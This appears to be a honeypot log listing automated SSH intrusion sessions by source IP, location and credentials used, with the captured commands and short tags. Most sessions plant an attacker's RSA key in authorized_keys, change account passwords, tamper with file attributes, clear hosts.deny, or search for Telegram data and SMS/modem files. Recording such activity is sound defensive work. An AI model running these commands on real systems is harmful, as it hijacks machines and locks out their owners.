$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "docker123\nyyFfSwWkrjCk\nyyFfSwWkrjCk"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\nyyFfSwWkrjCk\nyyFfSwWkrjCk\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ clandestine_batik_root (103.187.146.107) โ€” Jakarta, Indonesia ยท 1 session ยท 20 cmds
2026-07-24 03:08 EDT ยท as docker/docker123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv... โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "docker123\nvgMUQWTHUSJe\nvgMUQWTHUSJe"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\nvgMUQWTHUSJe\nvgMUQWTHUSJe\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ listless_kudu_root (160.119.251.76) โ€” Cornelia, South Africa ยท 1 session ยท 20 cmds
2026-07-24 02:23 EDT ยท as docker/docker123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "docker123\n5YVje3QKio21\n5YVje3QKio21"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\n5YVje3QKio21\n5YVje3QKio21\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ silent_peak_root (154.92.23.249) โ€” Hong Kong, Hong Kong ยท 1 session ยท 20 cmds
2026-07-24 00:15 EDT ยท as user/user
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\nEd82ruS4Ddsd\nEd82ruS4Ddsd"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nEd82ruS4Ddsd\nEd82ruS4Ddsd\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ baroque_panda_root (180.213.44.242) โ€” Youyilu, China ยท 1 session ยท 20 cmds
2026-07-23 23:38 EDT ยท as admin/123456
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa" โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "123456\npdiP1dQ9rRD0" | passwd | bash โ†’ cat /proc/cpuinfo | grep model | grep name | wc -l โ†’ free -
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\npdiP1dQ9rRD0\npdiP1dQ9rRD0"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\npdiP1dQ9rRD0\npdiP1dQ9rRD0\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ jittery_seoul_root (121.188.236.128) โ€” Jeju City, South Korea ยท 1 session ยท 9 cmds
2026-07-23 21:11 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ restless_static_root (220.247.224.226) โ€” Avissawella, Sri Lanka ยท 2 sessions ยท 4 cmds
2026-07-01 01:15 EDT ยท as oracle/1qaz2wsx#EDC, oracle/Qq123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ glitchy_carnival_root (45.70.164.151) โ€” Rio de Janeiro, Brazil ยท 1 session ยท 2 cmds
2026-07-23 20:06 EDT ยท as oracle/123456789
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_dragon_root_203 (8.152.99.203) โ€” Beijing, China ยท 2 sessions ยท 2 cmds
2026-07-06 00:28 EDT ยท as pi/pi, root/1234
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ baroque_merlion_root (103.134.154.138) โ€” Singapore, Singapore ยท 2 sessions ยท 22 cmds
2026-07-23 12:09 EDT ยท as oracle/oracle@1234, ubuntu/1q2w3e4r
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "1q2w3e4r\nzueY6tjKqXq1\nzueY6tjKqXq1"|passwd|bash
$ Enter new UNIX password:
$ echo "1q2w3e4r\nzueY6tjKqXq1\nzueY6tjKqXq1\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ spectral_stroopwafel_root (91.92.40.24) โ€” Eygelshoven, The Netherlands ยท 28 sessions ยท 28 cmds
2026-07-03 16:45 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—28
๐ŸŽญ rusty_lantern_root_100 (42.51.45.100) โ€” Shenzhen, China ยท 1 session ยท 1 cmd
2026-07-23 09:55 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ derelict_lantern_root (171.109.111.69) โ€” Liuzhou, China ยท 1 session ยท 1 cmd
2026-07-23 07:51 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ brisk_wok_root_82 (144.123.15.82) โ€” Jinan, China ยท 1 session ยท 1 cmd
2026-07-23 04:50 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ listless_scarab_root (41.36.165.167) โ€” Cairo, Egypt ยท 1 session ยท 9 cmds
2026-07-23 04:37 EDT ยท as root/root
root/root login โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM โ†’ locate D877F7
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ lurking_pretzel_root (2.26.50.151) โ€” Frankfurt am Main, Germany ยท 2 sessions ยท 4 cmds
2026-07-23 03:24 EDT ยท as oracle/0, oracle/Password
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ lurking_volcano_root (36.92.140.209) โ€” Bekasi, Indonesia ยท 1 session ยท 19 cmds
2026-07-23 03:09 EDT ยท as root/toor
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:IFvgYD4gCeja"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ derelict_stroopwafel_root (91.92.40.48) โ€” Amsterdam, The Netherlands ยท 14 sessions ยท 14 cmds
2026-07-23 01:12 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—14
๐ŸŽญ grumpy_burger_root (45.138.100.250) โ€” Secaucus, United States ยท 32 sessions ยท 32 cmds
2026-07-23 00:03 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ grumpy_burger_root_33 (192.3.251.33) โ€” Seattle, United States ยท 1 session ยท 2 cmds
2026-07-23 01:32 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_taco_root (201.137.6.211) โ€” รlvaro Obregรณn, Mexico ยท 1 session ยท 2 cmds
2026-07-23 01:22 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_dimsum_root (156.232.13.161) โ€” Hong Kong, Hong Kong ยท 1 session ยท 2 cmds
2026-07-23 01:02 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_volcano_sol (70.153.145.230) โ€” Jakarta, Indonesia ยท 1 session ยท 2 cmds
2026-07-23 00:38 EDT ยท as oracle/Oracle11
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ weary_wok_root_6 (118.145.240.6) โ€” Haidian, China ยท 1 session ยท 1 cmd
2026-07-22 23:27 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ baroque_liberty_root (192.169.201.223) โ€” Tempe, United States ยท 1 session ยท 20 cmds
2026-07-22 22:35 EDT ยท as ubuntu/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nDNVScIDoxPGV\nDNVScIDoxPGV"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nDNVScIDoxPGV\nDNVScIDoxPGV\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
